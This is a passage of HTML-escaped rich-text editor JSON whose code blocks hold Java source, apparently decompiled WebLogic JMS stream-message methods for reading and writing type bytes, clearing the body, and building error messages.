}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xHqU-1677058244985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0oRD-1677058244984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5eI0-1677058244987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xyL2-1677058244986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cYG5-1677058244989&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwcU-1677058244988&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public byte getType() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MLVr-1677058244991&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECRb-1677058244990&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return 5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ogir-1677058244993&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0cHr-1677058244992&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Sbz-1677058244995&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x8o3-1677058244994&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5yEI-1677058244997&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6YfR-1677058244996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void nullBody() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HH80-1677058244999&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;klPq-1677058244998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.payload = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CCcW-1677058245001&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FbID-1677058245000&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.copyOnWrite = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WHlg-1677058245003&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gsbG-1677058245002&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.bis = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZhIR-1677058245005&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PvvC-1677058245004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.bos = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G420-1677058245007&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;97DY-1677058245006&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.readingByteArray = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O6EM-1677058245009&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s6B4-1677058245008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.available_bytes = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FEh5-1677058245011&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lr8h-1677058245010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nGu2-1677058245013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gNxH-1677058245012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYnQ-1677058245016&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BNPK-1677058245015&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void putTypeBack() throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dEDw-1677058245018&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kdvj-1677058245017&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (!this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TgXT-1677058245020&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;badK-1677058245019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d4WS-1677058245022&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KWXb-1677058245021&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pUle-1677058245024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3MKQ-1677058245023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oAu4-1677058245026&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xONE-1677058245025&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jEqe-1677058245028&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yoqE-1677058245027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PqMN-1677058245030&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XED5-1677058245029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String readPastEnd() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J23Z-1677058245032&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KClX-1677058245031&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return JMSClientExceptionLogger.logReadPastEndLoggable().getMessage();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AkZt-1677058245034&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qodd-1677058245033&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RCbq-1677058245036&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jBRN-1677058245035&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xf6K-1677058245038&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;99dk-1677058245037&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String readPastEnd3(int var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nFel-1677058245040&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PBlr-1677058245039&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return JMSClientExceptionLogger.logReadPastEnd3Loggable(var1).getMessage();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;klCj-1677058245042&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wb1l-1677058245041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EstI-1677058245044&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D2LN-1677058245043&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oKs3-1677058245046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QLBN-1677058245045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String streamReadError() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4hkM-1677058245048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3HFl-1677058245047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return JMSClientExceptionLogger.logStreamReadErrorLoggable().getMessage();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EYhM-1677058245050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQzd-1677058245049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ffgj-1677058245052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XQpu-1677058245051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1G94-1677058245054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yQg0-1677058245053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String streamReadError(int var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gpo9-1677058245056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uH7R-1677058245055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return JMSClientExceptionLogger.logReadErrorLoggable(var1).getMessage();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9zcp-1677058245058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gDSw-1677058245057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nill-1677058245060&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qnVd-1677058245059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QyQc-1677058245062&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MEZ9-1677058245061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String streamWriteError() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FSY1-1677058245064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GD87-1677058245063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pwho-1677058245066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kAkP-1677058245065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lUv1-1677058245068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rlNK-1677058245067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pFtH-1677058245070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3fcL-1677058245069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String streamWriteError(int var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PrDE-1677058245072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nLvx-1677058245071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return JMSClientExceptionLogger.logWriteErrorLoggable(var1).getMessage();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCFN-1677058245074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BOS8-1677058245073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MB4x-1677058245076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iGKt-1677058245075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vykb-1677058245078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LtBO-1677058245077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String streamConversionError(String var1, String var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L0sL-1677058245080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sZ2f-1677058245079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return JMSClientExceptionLogger.logConversionErrorLoggable(var1, var2).getMessage();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qq33-1677058245082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8zCT-1677058245081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fIaG-1677058245084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9TUU-1677058245083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WpsD-1677058245086&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cj7b-1677058245085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private byte readType() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4pYQ-1677058245088&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2tbd-1677058245087&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.decompressMessageBody();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sPDV-1677058245091&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rUbz-1677058245090&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.checkReadable();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZRH4-1677058245093&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;37C0-1677058245092&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tw13-1677058245095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j60l-1677058245094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return 11;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ROF8-1677058245097&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iIqk-1677058245096&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wk8u-1677058245099&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vwhv-1677058245098&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vc4b-1677058245101&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fRuB-1677058245100&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return this.bis.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YIz4-1677058245103&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PK1g-1677058245102&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (EOFException var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wgPM-1677058245105&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rEx8-1677058245104&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(0), var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kIsM-1677058245107&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eVBK-1677058245106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zf4A-1677058245109&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jyt9-1677058245108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(this.streamReadError(0), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qXoX-1677058245111&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y6Q5-1677058245110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubHR-1677058245113&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FPfT-1677058245112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JFDE-1677058245115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f70T-1677058245114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lS6S-1677058245117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VSNo-1677058245116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Crwk-1677058245119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zmRD-1677058245118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void writeType(byte var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HI0I-1677058245121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvD6-1677058245120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.checkWritable();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jprh-1677058245123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3heL-1677058245122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CvGd-1677058245125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qV3i-1677058245124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLHT-1677058245127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BqNd-1677058245126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeByte(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OCk1-1677058245129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ryqJ-1677058245128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) 